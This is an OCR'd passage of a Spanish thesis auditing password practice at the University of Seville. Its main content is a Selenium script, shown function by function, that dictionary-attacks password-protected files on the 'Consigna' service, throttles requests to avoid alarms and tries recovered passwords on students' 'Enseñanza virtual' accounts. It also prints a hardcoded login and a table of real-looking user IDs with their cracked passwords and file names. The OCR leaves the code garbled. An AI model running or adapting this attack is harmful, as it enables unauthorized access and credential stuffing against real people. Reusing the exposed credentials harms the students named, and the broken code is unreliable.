From selenium.webdriver.common.by import By: Interfaz de selenium que se utiliza para obtener
un elemento en una péagina web por su id, nombre de clase o xpath.

From selenium.webdriver.support.ui import WebDriverWait: Interfaz de selenium que se usa para
esperar hasta que un elemento aparezca en la pagina web o determinar un tiempo limite de espera para
que salga ese elemento.

From selenium.webdriver.support import expected_conditions as EC: Interfaz de selenium que se
utiliza para llamar a la funcién que hara que el cédigo pare hasta encontrar cierto elemento o se llegue
al tiempo limite.

import 0s
import json
import logging
import grequests
import requests

import time

from bs4 import BeautifulSoup

from selenium import webdriver

from selenium.webdriver.common.by import By

from selenium.webdriver.support.ui import WebDriverWait

from selenium.webdriver.support import expected_conditions as EC

3.2.10.1

Figura 3-12. Visualizacion del fichero main.py (imports).

Constantes

En el apartado constantes se va a almacenar las rutas de los ficheros que se van a utilizar en el codigo. Se hace

uso de la biblioteca “os”, para acceder a los archivos del ordenador.

# Constantes

RUTA_PADRE = os.getcwd()

RUTA_UTILIDADES = RUTA_PADRE + ‘/utils/"
RUTA_CONTADORES JSON = RUTA_UTILIDADES + ‘contadores.json/'
RUTA_FICHEROS = RUTA_PADRE + /FICHEROS/'
RUTA_CREDENCIALES = RUTA_PADRE + ‘/credenciales/
RUTA_DICCIONARIO = RUTA_PADRE + '/diccionario/'
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RUTA_FICHERO_CREDENCIALES = RUTA_CREDENCIALES + ‘credenciales.txt/"
RUTA FICHERO_CLAVES = RUTA PADRE + ‘/claves/claves.txt/
PATH = RUTA_PADRE + '/driver/chromedriver.exe'

Figura 3-13. Visualizacion del fichero main.py (constantes).

3.210.2 Opciones Webdriver

Se han modificado las opciones de Webdriver, para cambiar los ajustes del navegador Chrome con el objeto de
que el fichero destino de las descargas sea la carpeta creada ficheros. De esta forma como se ha comentado
anteriormente, se verificara la validez de la contrasefia introducida por el cddigo comprobando si existe algin
archivo en dicha carpeta.

# Webdriver

options = webdriver.ChromeOptions()

# Cambiamos el directorio destino del fichero que se va a descargar
prefs = {"download.default_directory": "E:\TFG_Python\FICHEROS"}

options.add_experimental_option(“prefs", prefs)

Figura 3-14. Visualizacion del fichero main.py (Webdriver).

3.210.3 Rutas

Se accede al fichero rutas.json para obtener las urls de las paginas web gque vamos a comprometer. En cuanto a
la pagina web de Consigna, se han tomado como url de la pagina principal y la de la pagina siguiente de la web
para realizar un estudio mas extenso y obtener mejores resultados. Por otro lado, se ha obtenido la url de la
pagina principal de ensefianza virtual, para intentar acceder a los perfiles de los usuarios.

# Rutas

with open(file=RUTA_UTILIDADES + 'rutas.json’) as json_rutas:
urls = json.load(json_rutas)
url_consigna_1 = urls['url_consigna_1"
url_consigna_2 = urls['url_consigna_2]

url_ev =urls['url_perfil_ev']

Figura 3-15. Visualizacion del fichero main.py (Rutas).

3.2.10.4 Xpath

Se accede al fichero Xpath.json donde se han almacenado los xpath!! de algunos elementos de las paginas web
ya que dichos elementos no tenian propiedades determinadas como el 1D o el nombre de la clase y por tanto no
habia otra manera de identificar dichos elementos para interactuar con ellos. En otros casos no hemos utilizado
el xpath, toda vez que si existen estos atributos, es mas idoneo acceder a los elementos mediante ellos.

1 Lenguaje que permite construir expresiones que recorren y procesan un documento XML
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# Xpath

with open(file=RUTA_UTILIDADES + 'xpath.json’) as json_xpath:
Xpath = json.load(json_xpath)
id_input_password_click = xpath['id_input_password_click]
id_imagen_login_consigna = xpath['id_imagen_login_consigna’

id_contenido_usuario = xpath['id_contenido_usuario']

Figura 3-16. Visualizacion del fichero main.py (Xpath).
3.2.10.5 Funciones

Obtener_urls_permitidas (self): Esta funcion retine en una lista las urls de los ficheros que son accesibles sin
haber iniciado sesion. Para ello, primero se utiliza el objeto driver que se le pasa a la funcién como parametro
para identificar y almacenar en una lista los elementos de Consigna cuyo atributo “class” tenga como valor
“permitido”. Se estudiaran las dos primeras paginas de la pagina web con el objeto de tener un mayor rango de
estudio y conseguir mejores resultados.

Para obtener las urls, se utiliza el objeto driver que se ha pasado por parametros para recorrer los elementos de
la pagina web e identificar aquellos cuyo nombre de clase sea “permitido”. De este modo se obtienen objetos de
tipo webdriver por tanto para obtener la url se obtendra el valor del atributo “rel” de cada objeto.

def obtener_urls_permitidas(self, driver):
lista_urls_rel =]

links_1 = driver.find_elements_by class_name(*permitido")

for link in links_1:

lista_urls_rel.append(link.get_attribute("'rel™))
driver.execute_script(“window.open(");")
driver.switch_to.window(driver.window_handles[1])
driver.get(url_consigna_2)

links_2 = driver.find_elements_by class_name(*permitido")

for link in links_2:

lista_urls_rel.append(link.get_attribute("'rel™))

driver.close()

driver.switch_to.window(driver.window_handles[0])

return lista_urls_rel

Figura 3-17. Visualizacion del fichero main.py (obtener_urls_permitidas).
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Obtener_urls_permitidas_logged (self, driver): Esta funcion obtiene las urls cuyo nombre de clase es
permitido habiendo iniciado sesidn. En este caso no se ha podido realizar una multipeticién toda vez que habia
que iniciar sesion, por eso se ha decidido utilizar webdriver de Selenium, acceder a la pagina de consigna y
autenticarse con un usuario en concreto.

En la imagen posterior, se pueden observar tres objetos de tipo lista:
1. Lista_url_rel: Se almacena el valor de los atributos rel de cada url cuyo nombre de clase sea permitido.
2. Lista_id.- Se almacena el valor de los identificadores de cada fichero.

3. Lista_urls_permitidas_logged.- Objeto devuelto por la funcién y que contiene las urls permitidas y listas
para introducir la contrasefa.

A continuacion, mediante el objeto driver que se ha pasado por parametros en la llamada de la funcion, se abre
una nueva ventana en el navegador y se accede a la url de la pagina principal de “Consigna”, posteriormente se
espera a que aparezca la imagen de autenticacién con la funcién “presence_of element_located”, de la interfaz
“EC”, para después poder clicar sobre ella.

def obtener_url_permitidas_logged(self, driver):
lista_urls_rel =]
lista_id =]
lista_urls_permitidas_logged =]

driver.execute_script(“window.open(");")
driver.switch_to.window(driver.window_handles[1])
driver.get(url_consigna_1)
try:
imagen_login = WebDriverWait(driver, 10).until(
EC.presence_of_element_located((By.XPATH, id_imagen_login_consigna))
)

except:

driver.quit()

Figura 3-18. Visualizacion del fichero main.py (obtener_urls_permitidas_logged).

Se coge laimagen de autenticacion, se clica sobre ella mediante el objeto driver, apareciendo un formulario para
rellenar el cual se cumplimenta con el uvus y la contrasefia de un usuario en concreto. Se envian dichos datos y
se obtienen los links cuyo nombre de clase sea permitido, en este caso apareceran mas urls debido a que se ha
iniciado sesion. El funcionamiento de los links es igual que la funcion anterior. Seguidamente se abre una nueva
pestafia y se accede a la siguiente pagina de consigna para realizar el mismo procedimiento.
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imagen_login = driver.find_element_by xpath(id_imagen_login_consigna)
imagen_login.click()

input_usuario = driver.find_element_by_id("'edit-name")
input_usuario.send_keys("josargbal™)

input_password = driver.find_element_by _id("edit-pass")
input_password.send_keys("'Sevilla072>Cuenca954")

boton_aceptar = driver.find_element_by_id(*'submit_ok")
boton_aceptar.click()

links_1 = driver.find_elements_by class_name("permitido")

for link in links_1:
lista_urls_rel.append(link.get_attribute("rel™))

driver.execute_script("window.open(");")
driver.switch_to.window(driver.window_handles[2])

driver.get(url_consigna_2)

links_2 = driver.find_elements_by class_name(*permitido")

Figura 3-19. Visualizacion del fichero main.py (obtener_urls_permitidas_logged)

En la siguiente imagen por ultimo se recorre la lista con los atributos “rel” y para cada atributo se separan los
elementos por una barra invertida “/”, y se extrae el tltimo elemento que es el ID del fichero. A continuacion se
recorren los ID de los ficheros, para afiadirlos a la url de consigna y obtener asi la url de descarga de cada fichero.

for link in links_2:
lista_urls_rel.append(link.get_attribute("rel™))

for url_rel in lista_urls_rel:
lista_rel = url_rel.split("/")
lista_id.append(lista_rel[5])
for id in lista_id:

lista_urls_permitidas_logged.append(url_consigna_1 + /' + id)

driver.close()
driver.switch_to.window(driver.window_handles[1])

return lista_urls_permitidas_logged

Figura 3-20. Visualizacion del fichero main.py (obtener_urls_permitidas_logged)
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Obtener_usuario (self, url, driver): Esta funcion extrae el nombre del usuario propietario del fichero. En
primer lugar se hace una peticion http GET a la url dada por parametros y se obtienen los elementos cuyo nombre
de clase sea usuario. Si el usuario esté vacio, significa que esa url es de acceso denegado, por tanto debemos
iniciar sesion para acceder a ella. Esto se hace mediante el objeto driver de forma automatica, ya que en el objeto
driver, se ha iniciado sesion anteriormente y al acceder a una nueva url en otra pestafia del mismo navegador, se
puede acceder a dicha url. Se abre una nueva pestafia, se accede a la url y se busca el elemento cuyo xpath sea
el que tenemos almacenado en xpath.json y que identifica al usuario propietario del fichero.

def obtener_usuario(self, url, driver):
respuesta = requests.get(url)

uvus ="

html = BeautifulSoup(respuesta.text, 'html.parser’)
usuario = html.find('span’, {
‘class'; 'usuario'

)

if usuario is None:
driver.execute_script(“window.open(");")
driver.switch_to.window(driver.window_handles[2])

driver.get(url)

nombre_usuario = driver.find_element_by xpath(id_contenido_usuario)

Figura 3-21. Visualizacion del fichero main.py (obtener_usuario)

La siguiente imagen se corresponde con la formacion del uvus a partir del nombre de usuario del propietario del
fichero. Primero separamos el nombre de usuario por espacios para obtener una lista con los componentes del
nombre completo del usuario. Puede darse el caso de que haya un usuario que haya subido el fichero como
andénimo o desconocido, es decir, sin autenticarse, en ese caso no se podria obtener su uvus. Se ha detectado esos
casos comprobando que el nimero de elementos del nombre sea uno solo, por tanto seria anénimo. Si el nombre
tiene tres elementos, se forma el uvus adquiriéndose las tres primeras letras de cada elemento. De este modo si
el nimero de elementos del nombre son 4, se estaria analizando un nombre compuesto y habria que eliminar el
segundo elemento, toda vez que el uvus se constituye de las tres primeras letras del primer componente del
nombre y de los apellidos del usuario.
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lista_usuario = nombre_usuario.text.split(" )

if len(lista_usuario) == 1:
uvus = ‘anonimo’
if len(lista_usuario) == 3:
for elemento in lista_usuario:
uvus += elementol[:3]
if len(lista_usuario) == 4:
del lista_usuario[1]

for elemento in lista_usuario:
uvus += elemento[:3]

driver.close()

driver.switch_to.window(driver.window_handles[1])

Figura 3-22. Visualizacion del fichero main.py (obtener_usuario)

La imagen Ultima que se presenta a continuacion, corresponde con aquellos casos cuyo acceso es permitido sin
haber iniciado sesion y se repetiria el proceso descrito anteriormente, respecto a la formacion del uvus. Por
Gltimo se devolveria, como objeto de la funcién el uvus en mindsculas.

else:
lista_usuario = usuario.text.split(" ")

if len(lista_usuario) == 1:
uvus = ‘anonimo’
if len(lista_usuario) == 3:
for elemento in lista_usuario:
uvus += elementol[:3]
if len(lista_usuario) == 4:
del lista_usuario[1]

for elemento in lista_usuario:

uvus += elementol[:3]

return uvus.lower()

Figura 3-23. Visualizacion del fichero main.py (obtener_usuario)

Acceder_perfil (self): Esta funcion utiliza los uvus de los ficheros que han sido vulnerados con éxito y las
contrasefias obtenidas mediante el ataque con el fin de verificar si se utilizan las mismas contrasefias para la
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pagina de Ensefianza virtual. En primer lugar se obtiene el uvus y la contrasefia del fichero credenciales.txt.

def acceder_perfil(self):

lista_uvus =]

lista_password =]

lista_uvus_accedido =[]

with open(RUTA_FICHERO_CREDENCIALES, 'r') as f:

for linea in f:

credenciales = linea.split(:")
lista_uvus.append(credenciales[0])
lista_password.append(credenciales[1])

Figura 3-24. Visualizacion del fichero main.py (acceder_perfil)

A continuacion recorremos los uvus y contrasefias que se han almacenado en el fichero credenciales y mediante
el objeto driver creado con esta funcidn, se accede a la pagina de ensefianza virtual y se introducen dichos valores

en el formulario de identificacion.

for i in range(len(lista_uvus)):
uvus = lista_uvus[i]

password = lista_password][i]

driver = webdriver.Chrome(PATH)

driver.get(url_ev)

imagen_redirect = driver.find_element by id("loginRedirectProviderList")
imagen_redirect.click()

url_actual = driver.current_url

usuario_input = driver.find_element_by_id("edit-name")
usuario_input.send_keys(uvus)

password_input = driver.find_element_by_id("edit-pass")
password_input.send_keys(password)

boton_aceptar = driver.find_element_by_id(*'submit_ok")

boton_aceptar.click()

url_nueva = driver.current_url

Figura 3-25. Visualizacion del fichero main.py (acceder_perfil)

En este caso, la forma de verificar que se ha entrado en el perfil es analizando si la url ha cambiado. Por ultimo

se devuelve una lista con los uvus en los cuales se ha podido acceder al perfil.
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if url_actual '= url_nueva:
print(f"Se ha podido acceder al perfil de {uvus}")
lista_uvus_accedido.append(uvus)

else:

print(f"No se ha podido acceder al perfil de {uvus}")

driver.quit()

return lista_uvus_accedido

Figura 3-26. Visualizacidn del fichero main.py (acceder_perfil)

Obtener_password_diccionario (self): Se accede al fichero diccionario.txt y se forma un objeto lista en el cual
se introducen los valores de las posibles contrasefias y se devuelve dicho objeto.

def obtener_password_diccionario(self):
with open(RUTA_DICCIONARIO + 'diccionario_JOSEMA..txt', 'r', encoding="utf8") as diccionario:
lista_password = diccionario.readlines()

return lista_password

Figura 3-27. Visualizacion del fichero main.py (obtener_password_diccionario (self)

Introducir_password (self, driver, uvus): Esta funcion es la encargada de recorrer la lista de contrasefias del
diccionario de claves e introducir cada una en el input de contrasefia para descargar el fichero que esta siendo
estudiado. La variable “comparador” almacena el nimero de ficheros que se encuentran ubicados en la carpeta
de descargas “FICHEROS” aumentado en una unidad para comparar este valor con el nimero de ficheros que
realmente se ubican en dicha carpeta. Si estos valores son iguales significa que se habra descargado el fichero
en cuestion y por tanto se habra encontrado la contrasefia correcta.

Para que no salten alarmas se define un tiempo de espera entre peticion y peticion de 0.6 segundos calculado a
base de pruebas de ensayo y error, este tiempo es importante que sea lo minimo posible ya que multiplica con
creces el tiempo de ejecucion del programa.
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def introducir_password(self, driver, uvus):

lista_password = self.obtener_password_diccionario()

with open(RUTA_UTILIDADES + “contador_ficheros.json") as f:
tmp = json.load(f)
contador_ficheros = tmp['contador_ficheros']

comparador = contador_ficheros + 1

for password in lista_password:
try:
password_input = WebDriverWait(driver, 10).until(
EC.presence_of element_located((By.ID, "passwd_fichero™))
)
password_input_click = WebDriverWait(driver, 10).until(
EC.presence_of_element_located((By.XPATH, id_input_password_click))
)
except:

driver.quit()

password_input = driver.find_element_by_id("passwd_fichero")
time.sleep(0.05)
password_input.send_keys(password)

Figura 3-28. Visualizacion del fichero main.py (introducir_password (self, driver, uvus)

Se verifica que existe el fichero “FICHEROS”. Como se ha comentado anteriormente se comprueba si se ha
encontrado la contrasefia correcta. En caso de que los valores de la comparacion no coincidan se imprime un
mensaje de error por linea de comandos. Si se descarga el archivo incrementamos el contador de ficheros
ubicados en la carpeta “FICHEROS” y se sobreescribe el valor de la variable almacenada en
“contador_ficheros.json”. Una vez encontrada la contrasefia correcta se saldria de la funcion pasando al siguiente
fichero a estudiar sin continuar buscando la contrasefia acertada. A continuacion, se modifica el fichero
“claves.txt” anadiendo el nombre del fichero descargado y la contraseia utilizada para ello. Por tltimo, se agrega
el uvus creado anteriormente y la contrasefia hallada en el fichero “credenciales.txt”.



Auditoria sobre la politica de contrasefias en la Universidad de Sevilla 28

if not os.path.exists(RUTA_FICHEROS):
print("No existe el directorio ficheros")
else:
contenido = os.listdir(RUTA_FICHERQS)
if len(contenido) == comparador:
print(f"Se ha descargado el fichero. La contrasena para {uvus} es {password}.\
\nGuardando credenciales...")
nombre_fichero = driver.find_element_by class_name("nombre_fichero")

# Incrementamos el contador de ficheros en la carpeta ficheros descargados

contador_ficheros +=1

datos = {'contador_ficheros'": contador_ficheros}
with open(RUTA_UTILIDADES + ‘contador_ficheros.json', ‘w'") as f:
json.dump(datos, f)

# Rellenamos el fichero claves.txt con el nombre del fichero y la clave utilizada
with open(RUTA _FICHERO_CLAVES, a) as f:
f.write(f"Se ha descargado el fichero {nombre_fichero.text} con la contrasefia: {password}")

with open(RUTA_FICHERO_CREDENCIALES, d) as f:
if uvus:
f.write(f"{uvus}:{password}")
break

else:

print(f"No se ha encontrado la contrasefia para {uvus}")

Figura 3-29. Visualizacion del fichero main.py (introducir_password (self, driver, uvus)

Obtener_password (self, lista_url_logged, driver): Mediante esta funcién se recorren las url obtenidas
habiendo iniciado sesién previamente y se llama a la funcién “introducir password”. La variable
“contador_anonimo” almacena un contador que se utiliza para numerar el nimero de usuarios que han subido
un fichero sin haber iniciado sesion y que por tanto no se puede obtener su uvus ni pueden ser victimas del
ataque relacionado con la pagina de “Ensefanza virtual”.

Uno de los problemas que han surgido a la hora de poner en funcionamiento el programa es que los ficheros que
se encuentran subidos en “Consigna” tienen fecha de caducidad y desaparecen del servidor pasado un tiempo
que puede ser impuesto por el usuario que los sube. Esto provoca que el programa intente acceder a una url que
tenia pendiente pero no encuentre dicha pagina lo que hace saltar un error que frena la ejecucion del programa.
Esto se ha solventado obteniendo el identificador de la Gltima url accedida y almacenandola en el fichero
“id last url logged.json”.

Cuando se inicia el programa y se ejecuta esta funcion por primera vez se obtiene el valor del identificador de la
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Gltima url loggeada para comenzar la ejecucion del programa por la siguiente url y evitar asi esa url de la pagina
no encontrada ya que su tiempo de vida en el servidor ha expirado.

def obtener_password(self, lista_url_logged, driver):
contador_anonimo =0
contador_ficheros =0
n_urls_logged = len(lista_url_logged)
with open(RUTA_UTILIDADES + 'id_last_url_logged.json’) as f:
id = json.load(f)
id_last_url_logged = id['id_last_url_logged']

ifid_last_url_logged !=0:
id_last_url_logged = id_last_url_logged + 1

print("'La url a acceder sera: " + str(id_last_url_logged))

Figura 3-30. Visualizacion del fichero main.py (obtener_password (self,lista_url_logged, driver)

A continuacién, se recorre la lista de las urls obtenidas habiendo iniciado sesion previamente. Modificamos el
valor de la Ultima url accedida almacenada en el fichero “id last url logged”. Se obtiene el uvus del usuario
que ha subido el fichero que se encuentra el programa estudiando, llamando a la funcion “obtener_usuario”.

for contador_url in range(id_last_url_logged, n_urls_logged):
print("Contador_url: " + str(contador_url))

url_logged = lista_url_logged[contador_url]

print(url_logged)

datos = {'id_last_url_logged': contador_url}

with open(RUTA_UTILIDADES + 'id_last_url_logged.json', 'w') as f:
json.dump(datos, f)

uvus = self.obtener_usuario(url_logged, driver)

print(uvus)

Figura 3-31. Visualizacion del fichero main.py (obtener_password (self lista_url_logged, driver)

Si se obtiene correctamente el uvus del usuario, se abre una nueva pestafia en el buscador y se llama a la funcion
“introducir_password” para recorrer el diccionario de claves e ir probando cada una en el input de la contrasefia
del fichero estudiado, al finalizar se cierra la pestafa abierta con anterioridad. Si no se consigue el uvus del
usuario se procede a incrementar en una unidad el contador de usuarios registrados como anénimos para su
posterior almacenamiento en el fichero “contadores.json”.
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if uvus:
if uvus !="anonimo":
driver.execute_script(“window.open(");")
driver.switch_to.window(driver.window_handles[2])
driver.get(url_logged)
self.introducir_password(
driver=driver,

uvus=uvus,

driver.close()
driver.switch_to.window(driver.window_handles[1])
else:
print("El usuario es andnimo")
contador_anonimo += 1
else:
print("'Se ha producido un fallo al obtener el uvus del usuario™)

datos = {
‘contador_anonimao': contador_anonimo,

‘contador_ficheros': contador_ficheros

with open(RUTA_CONTADORES_JSON, 'w') as f:
json.dump(datos, f)

Figura 3-32. Visualizacion del fichero main.py (obtener_password(self, lista_url_logged, driver))

Comprobar_acceso_perfil (self, lista_uvus_pass): Esta funcién se limita a comprobar si los usuarios usan la
misma contrasefia en “Ensefianza virtual” y “Consigna”. Se dispone de un contador que acumulara el nimero
de veces que se ha introducido la contrasefia en “Ensefianza virtual” correctamente.

Se accede al fichero “credenciales.txt” para obtener la pareja de uvus y contrasefia obtenidos en la pagina de
“Consigna” y se compara con los elementos de la lista “lista uvus pass” devuelta por la funcion
“acceder_perfil”, si ambos valores coinciden se ha podido acceder al perfil de “Ensefianza virtual” con éxito. Se
excluye de esta comprobacion los ficheros descargados con €xito cuyo nombre de usuario sea “anénimo” ya que
NO €s un uvus en si.
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def comprobar_acceso_perfil(self, lista_uvus_pass):
contador =0
with open(RUTA _FICHERO_CREDENCIALES, 'r') as f:
for lineain f:
credenciales = linea.split(":")
if credenciales[0] != "anonimo'":
for uvus in lista_uvus_pass:
if uvus 1= "
if credenciales[0] == uvus:
print(f"He podido acceder al perfil de {uvus}, con contrasefia: {credenciales[1]}")
contador +=1
else:
print(f"No he podido acceder al perfil de {uvus}")
else:
print("No se puede acceder al perfil ya que no tiene un uvus valido™)

return contador

Figura 3-33. Visualizacion del fichero main.py (Comprobar_acceso_perfil (self, lista_uvus_pass)

Iniciar (self): Esta funcidn es la principal del programa y desde ésta se llama a las funciones mas complejas. En
primer lugar se crea el objeto driver que se utilizara para acceder a las urls de “Ensefianza virtual” y “Consigna”.
A continuacion, se inicializa la variable “ficheros anonimos_obtenidos” que es un contador que almacena el
namero de ficheros descargados con éxito cuyo usuario creador aparece como anénimo en la pagina web
correspondiente, este valor se utilizard como objeto de andlisis a la hora de estudiar los resultados obtenidos.
Primero se llama a “obtener_url permitidas” para conseguir la lista con las urls de los ficheros que aparecen en
“Consigna” cuyos propietarios han subido sin haber iniciado sesion previamente. A continuacion, se llama a la
funcién “obtener url permitidas logged” que como se ha comentado anteriormente devuelve una lista con las
urls de los ficheros que han sido subidos habiendo iniciado sesion con anterioridad. Tras haber obtenido las urls
se llama a la funcion “obtener password” a la que se pasa como parametros el driver para interactuar con la
pagina de “Consigna” y la lista de las urls habiendo iniciado sesion. Se escoge esta lista para realizar el ataque
ya que es la que méas elementos tiene.
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def iniciar(self):
driver = webdriver.Chrome(
executable_path=PATH,
options=options
)
driver.get(url_consigna_1)
ficheros_anonimos_obtenidos = 0

# Paso 1: Obtener las url permitidas sin haber iniciado sesion
lista_url_permitidas = self.obtener_urls_permitidas(driver)
# Paso 2: Obtener las url permitidas habiendo iniciado sesion
lista_url_permitidas_logged = self.obtener_url_permitidas_logged(driver)
# Paso 3: Intentar obtener las contrasefias del mayor nimero de ficheros posible
self.obtener_password(

lista_url_logged=lista_url_permitidas_logged,

driver=driver

Figura 3-34. Visualizacion del fichero main.py (Comprobar_acceso_perfil (self, lista_uvus_pass)

Se accede al fichero contadores.json, para obtener los valores del contador de usuarios anénimos y del contador
de contrasefias encontradas, para su posterior uso en el informe que se muestra a continuacién.

with open(RUTA_UTILIDADES + ‘contador_anonimos.json’) as f:
contador = json.load(f)

contador_anonimos = contador['contador_anonimo']
with open(RUTA_UTILIDADES + ‘contador_ficheros.json’) as f:
contador = json.load(f)

contador_password found = contador[‘contador ficheros’]

with open(RUTA_FICHERO_CREDENCIALES, 'r') as f:
for lineain f:
credenciales = linea.split(:")
if credenciales[0] == 'anonimo":

ficheros_anonimos_obtenidos += 1

datos = {

'ficheros_anonimos_obtenidos': ficheros_anonimos_obtenidos
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with open(RUTA_UTILIDADES + ‘ficheros_anonimos_obtenidos.json', 'w') as f:
json.dump(datos, f)

Figura 3-35. Visualizacion del fichero main.py (Iniciar)

Por ultimo se disefia un informe que sera impreso automéaticamente presentando valores relevantes que se han
ido recogiendo a lo largo del programa tales como el porcentaje de éxito o el porcentaje de perfiles de
“Ensefanza virtual” que no han podido ser atacados ya que se subieron sin haber iniciado sesion.

driver.quit()

# Paso 4: Intentamos acceder al perfil de ensefianza virtual de los usuarios cuya contrasefia de consigna
tenemos

lista_uvus_accedido = self.acceder_perfil()
# Paso 5: Realizamos un informe con los resultados obtenidos
print(f*NUmero de urls obtenidas sin haber iniciado sesion: {len(lista_url_permitidas)}")
print(f"Ndmero de urls obtenidas habiendo iniciado sesion: {len(lista_url_permitidas_logged)}")
print(*'Como se puede apreciar el nimero de ataques que /”
f’podemos hacer sin haber iniciado sesion es menor™)
n_uvus_accedidos = self.comprobar_acceso_perfil(lista_uvus_accedido)
n_urls_consigna = len(lista_url_permitidas_logged)
porcentaje_accedidos = (n_uvus_accedidos*100)/n_urls_consigna
porcentaje_anonimos = (contador_anonimos*100)/n_urls_consigna
porcentaje_password_found = (contador_password_found*100)/n_urls_consigna
print(f"Del total de urls obtenidas de consigna {n_urls_consigna} /
f’hemos podido conseguir la contrasefia de "
f"consigna de {contador_password_found}, lo que supone un /”
f*{porcentaje_password found}% de éxito")
print(f"Del total de urls obtenidas de consigna que han sido {n_urls_consigna} hemos podido acceder"
" al perfil de {n_uvus_accedidos} lo que supone un {porcentaje_accedidos}% de éxito")
print(f*Ademas del total de urls obtenidas de consigna ({n_urls_consigna})"
' hay un numero de urls que no han podido ser atacadas \ncon este ataque por subir*
" los archivos a consigna en anonimo que han sido un total de {contador_anonimos} lo que supone™

' un {porcentaje_anonimos}%, sin embargo, se han obtenido la contrasefia de “

f’{ficheros_anonimos_obtenidos} usuarios anonimos.")

Figura 3-36. Visualizacion del fichero main.py (Iniciar (self)

3.3 Pruebas

Se han realizado diversas pruebas con cuatro diccionarios diferentes para realizar un estudio mas amplio y poder
determinar qué tipo de diccionario supone un mayor peligro para los usuarios de la Universidad de Sevilla. Cabe
destacar el hecho de que las pruebas se han realizado bajo diferentes escenarios obtenidos de la pagina de
“Consigna” dada la imposibilidad de realizarlas bajo el mismo, ya que son pruebas que requieren varios dias de
ejecucion y los usuarios siguen creando nuevos ficheros mientras que los ya existentes van desapareciendo por
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el vencimiento del tiempo de vida elegido por el usuario.

Diccionario Creado con Descargado Numeérico Creado
CeWL manualmente
Numero de urls totales 200 200 200 200
Numero de urls con 161 163 158 165
acceso restringido
Ndmero de 501 500 625 607
contrasefias utilizadas
Numero de ficheros 17 8 11 22
descargados
Ficheros anénimos 9 3 3 10
descargados
Numero de 4 1 3 6
contrasefias repetidas
NUmero de perfiles 0 0 0 0
accedidos en
“Ensefianza virtual”
NuUmero de usuarios 95 94 98 95
anénimos o
desconocidos

Tabla 3-1. Tabla resumen de los resultados obtenidos.

Como se puede observar, los resultados no son preocupantes dada la baja tasa de éxito en el ataque. Sin embargo,
no se deben ignorar los usuarios cuyos ficheros se han visto vulnerados. De entre las contrasefias utilizadas los
datos mas preocupantes son los que se repiten con frecuencia ya sea por el mismo usuario o por distintos
usuarios. Las contrasefias repetidas por usuarios diferentes son contrasefias simples y demasiado obvias o
comunes, por tanto, el uso de estas supone una brecha de seguridad importante para los usuarios de la
Universidad de Sevilla. Lo més preocupante de los resultados obtenidos han sido los valores del nimero de
usuarios que han repetido la misma contrasefia, lo cual supone un grave peligro ya que suele ser una practica
habitual y puede haber utilizado esa misma combinacion en otras plataformas. Puede que los usuarios que han
sido vulnerados no utilicen las mismas contrasefias en “Consigna” o en otras plataformas, como se ha
demostrado que ninguno ha repetido contrasefia en “Ensefianza virtual”, pero el atacante ya puede crear un
perfil sobre el usuario.

El hecho de que un atacante tenga el perfil de un usuario le permite realizar un ataque mas enfocado a esa persona
y en consecuencia a su circulo cercano familia, compafieros de trabajo, compafieros de estudio, amigos. El
ciberdelincuente ya tiene una puerta de acceso a la vida del usuario.

A continuacion se veran en profundidad los estudios realizados para comentar los resultados obtenidos en cada
uno.

3.3.1 Prueba realizada con diccionario creado manualmente

El diccionario utilizado para esta prueba se ha creado manualmente teniendo en cuenta el tipo de usuario que
iba a ser vicitima del ciberataque. En este caso, se sabe que los usuarios son en su mayoria personas jovenes y
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estudiantes, se han utilizado palabras y combinaciones que tengan mayor posibilidad de ser parte de los gustos
actuales en cuanto a temas relevantes para la sociedad juvenil como es el deporte, la musica, los estudios, el
ocio, la comida, entre otros muchos. Ademas, se han afiadido contrasefias y combinaciones comunes gue se
suelen utilizar de clave por su simplicidad a la hora de introducirla y recordarla. Como se ha comentado antes al
tener un perfil del usuario a atacar, resulta méas facil conseguir un resultado exitoso en el ataque y efectivamente
se ha comprobado que es asi comparando los resultados obtenidos con el resto de diccionarios de claves.

Los resultados obtenidos con este diccionario han sido los mas satisfactorios ya que se han obtenido 15 ficheros
lo que supone un 7.5% de éxito teniendo en cuenta que hay un total de 200 ficheros. Es un valor bajo pero se
debe tener en cuenta que son ficheros de los que se puede sacar informacién importante o se puede comerciar
dicho fichero dado que tenga un valor académico elevado al ser un trabajo que haya que entregar o se trate de
un resumen de una asignatura, ese esfuerzo puede ser aprovechado por otros sin el permiso del usuario
propietario de dicho fichero. Ademas, en esta plataforma se puede subir cualquier fichero sin ser necesario que
esté relacionado con el area académica y de hecho se mostraran a continuacion los ficheros que han sido
descargados con éxito junto con las claves utilizadas para ello.

USUARIO CONTRASENA  NOMBRE DEL ARCHIVO

anonimo marvel Ejercicio CSS7.pdf

criserrom 1234 Planta furfurilico GCCcomposite.apwz

josrodsua fichero ENTREGATFG-
JOSEANTONIO_RODRIGUEZSUAREZ.pdf

anonimo 1234 RENEDO_ROSAS_EVA_TFG_BBAA_COMIS
ION18.pdf

criserrom 1234 Planta furfurilico reactor.apwz

juacasrus juacasrus 20210805_163224.jpg

anonimo PERSONAL Préactica4.pdf

josrodsua fichero MemoriaTFG_JoseAntonioRodriguezSuarez.pdf

josrodsua fichero CATIA.rar

criserrom 1234 Planta furfurilico DIPP.apwz

yolmengue 2022 PUBLICACIONES.zip

anonimo coco Practica simulacion ordenador.rar

marmoragu ingenieria Fito catalogo aspersores.pdf

eletalbar carlos CASO CLINICO SOP HIRSUTISMO
resuelto.docx

jostorcap nike COMPRESSOR_WORKFLOW.pptx

anonimo wuolah Labo 4-TODO.zip

anonimo cristianol Taller_2_Uso de antibidticos.pptx

eletalbar carlos Tema 1-alteraciones funcion ovarica y testicular
Elena.pptx

anonimo joaquin T2 HIDROGRAFIA ANDALUCIA pdf

anonimo covid RMgic_Clase 21 p7.1.1 2022.pdf

anonimo 1234 um2163-getting-started-with-the-
stevalime011v2-evaluation-board-based-on-the-
sthv748s-ultrasound-pulser-
stmicroelectronics.pdf

anonimo quimica YLG-Tablas de Termoquimica.pdf

Tabla 3-2. Resultados obtenidos con el diccionario creado manualmente.

Como se puede observar la contrasefia méas utilizada ha sido “1234” lo que resulta predecible dado que, segun
el estudio que realiza NordPass*? todos los afios acerca de las 200 contrasefias mas utilizadas por los usuarios,

12 Gestor de contraseas, facil de usar y con herramientas ttiles que garantizan la seguridad de nuestros datos.
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la clave “1234” es la nimero 17 a nivel global. Cualquiera que tuviera la informacion de los informes realizados
con las contrasefias mas utilizadas y que se consideran poco seguras podria haber utilizado esta contrasefia y
haber obtenido los ficheros de los usuarios antes expuestos.

